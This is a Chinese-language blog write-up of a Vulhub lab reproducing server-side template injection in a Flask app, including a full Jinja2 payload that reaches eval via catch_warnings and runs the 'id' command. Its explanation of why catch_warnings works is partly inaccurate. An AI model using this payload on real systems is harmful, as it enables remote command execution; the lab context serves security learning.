Vulnhub flask(SSTI)漏洞复现

一、原理:

第一次做博客,不会做请见谅,其实也是为了方便自己复习和学习,如果有哪里做的不好或者有好的建议,请纠正我,谢谢~

网页使用了python中的flask模块,其中template没有经过任何过滤或识别直接渲染,导致任意命令执行漏洞。

二、漏洞复现

环境搭建:docker-compose up -d

源码可以知道,需要提交的参数为name,所以使用name尝试是否有ssti漏洞

直接传参abc发现直接输出

尝试执行4*4,发现可以获得计算后的结果,自此说明有漏洞

除此之外还可以尝试其他的ssti漏洞命令,查看基类(我这边只能源码看到,外面显示不出来头疼,果然还是太菜啦,得多学学)

官方poc:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

讲解:

catch_warnings模块来捕获和处理与模板注入相关的警告消息,大概意思就是从警告信息中查找是否有eval(执行代码)的函数,如果有可以直接用

endif和endfor是是来控制模板输出,也是靠它来结束语句的

其他的应该都是比较容易明白的,如果不太明白

执行成功,除此之外还可以尝试其他命令执行

自此漏洞复现结束

三、参考链接

https://www.cnblogs.com/Rasang/p/12181654.htmlPython——flask漏洞探究

从零学习flask模板注入-网盾安全培训

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值